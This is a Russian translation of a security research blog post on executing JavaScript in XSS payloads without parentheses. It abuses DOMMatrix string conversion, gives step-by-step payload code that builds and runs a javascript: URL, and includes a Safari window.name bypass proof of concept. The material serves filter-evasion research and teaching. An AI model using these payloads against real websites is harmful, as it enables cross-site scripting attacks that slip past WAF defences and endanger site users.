JavaScript без круглых скобок с использованием DOMMatrix
Moody
Должно быть, многие, кто сталкивался с XSS уязвимостями, ударялись головой о проблему с ограниченной кодировкой, которая предотвращает эксплуатацию. Наиболее распостраненным ограничением, с которым сталкиваются хакеры, является запрет на использование круглых скобок. Для решения такого рода задачи, существуют два классических метода (оба со своими недостатками):
location=name - опирается на внешний веб-сайт и не работает в Safari, так как очищает window.name при навигации по x-origin.
onerror=alert;throw 1 - часто не работает из - за WAF, которые блокируют ключевое слово "throw".
Существует ли еще один, лишенный этих недостатков, способ? Terjanq опубликовали на sla.ckers интересное испытание с ограниченным набором символов, и я, взяв перерыв в своем исследовательском эпосе, решил попытаться найти ответ на этот вопрос.
В качестве оружия, исследователям предлагалась кодировка символов: a-z A-Z';+.:=. При помощи них можно вызывать различные функции с использованием toString/valueOf, но передать в них аргументы не получится, что делает их использование ограниченным - таким образом задача усложняется. Помимо этого, кажется невозможным и извлечение части какой - либо строки; вы можете получить лишь первый символ значения объекта toString. К примеру, объект new RegExp возвращает значение /(?:)/, и чтобы получить первый символ, можно использовать valueOf в купе с String.prototype.charAt. Это работает, потому что charAt вызывается без каких-либо аргументов и возвращает первый символ:
x = new RegExp;
x.valueOf=String.prototype.charAt;
x+''//returns a single /
К сожалению, использование valueOf со строковыми литералами невозможно, поэтому мы не сможем извлечь первый символ, игнорируя символы между литералами. Мне нужно было найти инструмент, который позволял бы мне создавать символы, к которым у меня не было доступа. Я использовал Hackability Inspector для перебора объекта window в связке с исполняемым JavaScript для каждого метода функции, но он не возвращал никаких полезных символов. Поизучав немного JavaScript, я понял, что следующий найденный мною оператор позволяет мне генерировать кучу новых символов - используя инспектор снова, я придумал скрипт, который использовал оператор new для всех перечисляемых объектов в окне, и, посмотрев в консоль, обнаружил один конструктор, который генерировал круглые скобки: конструктор DOMMatrix! Этот конструктор будет генерировать объект со значением toString, которое выглядит как вызов функции с круглыми скобками. Так, вызов конструктора DOMMatrix сгенерирует следующее:
console.log(new DOMMatrix+'')
> matrix(1, 0, 0, 1, 0, 0)
Вы уже поняли, что таким образом, мы можем сгенерировать строку, содержащую скобки и вызывающую функцию с именем matrix, с аргументами 1,0,0,1,0,0; однако, тут есть две проблемы: 1) мне нужно было контролировать вызываемую функцию и 2) мне нужно контролировать аргументы, отправленные в эту функцию. Первую проблему можно обойти, просто назначив функцию переменной матрицы:
x=new DOMMatrix;
matrix=alert;
Для решения второй проблемы я проверил матричный объект, возвращаемый конструктором DOMMatrix, и заметил, что у него есть свойство с именем «a», которое позволяет мне контролировать первый аргумент, отправляемый функции:
x.a=1337;
Собирая все вместе, вот как можно злоупотреблять DOMMatrix для вызова алерта с текстом "1337":
x=new DOMMatrix;
matrix=alert;
x.a=1337;
location='javascript'+':'+x
Должно быть, вы будете удивлены тем, как можно выполнить произвольный код. Аргумент, отправляемый в матричную функцию, должен быть числовым - мы будем использовать String.fromCharCode, чтобы передавать числовое представление символов в обмен на сами символы. При этом, для конкатенации и получения осмысленной нагрузки, мы будем перезаписывать стандартные значения матрицы. Первые 6 значений, по умолчанию равны 0 или 1 - если их не перезаписать - это приведет к синтаксическим ошибкам.
x=new DOMMatrix;
matrix=String.fromCharCode;
i=new DOMMatrix;
i.a=106;//j
i.b=97;//a
i.c=118;//v
i.d=97;//a
i.e=115;//s
i.f=99;//c
j=new DOMMatrix;
j.a=114;//r
j.b=105;//i
j.c=112;//p
j.d=116;//t
j.e=58;//:
j.f=32;//space
x.a=97;//a
x.b=108;//l
x.c=101;//e
x.d=114;//r
x.e=116;//t
x.f=40;//(
y=new DOMMatrix;
y.a=49;//1
y.b=51;//3
y.c=51;//3
y.d=55;//7
y.e=41;//)
y.f=59;//;
location='javascript:a='+i+'+'+j+'+'+x+'+'+y+';location=a;void 1'
В приведенном выше коде, мы используем location дважды - один раз для генерации полезной нагрузки и второй раз для её выполнения. void 1 в конце возвращает неопределенное значение и не позволяет браузеру записать второе назначение местоположения в формате HTML
Помимо этого, есть еще один конструктор, который можно использовать подобным образом, однако, мы сильно подозреваем, что информация из нашего блога копируется и вставляются в черные списки WAF, поэтому придержим их при себе.
Если вам понравился этот пост, у нас есть несколько похожих постов на эту тему, а также лаборатория в академии, вдохновленная обсуждением sla.ckers и этим постом, поэтому, если вы хотите поэкспериментировать, посетите её!
Наконец, я не смог устоять перед взломом защиты Safari для window.name. Вот POC, который использует window.name в перекрестной навигации для хранения полезной нагрузки XSS. Он работает с использованием атрибута target для установки имени окна, а не JavaScript:
<a href="http://subdomain1.portswigger-labs.net/safari_window_name_bypass/read.html" target="alert(1337)">PoC</a>
Наслаждайтесь и оставайтесь в безопасности!
Статья доступна в оригинале на английском языке - читать.
Cybred - канал об информационной безопасности и конкурентной разведке, вдохновленный идеями олдскульных андеграундных интернет-сообществ о свободе распространения информации в сети и всеобщей взаимопомощи.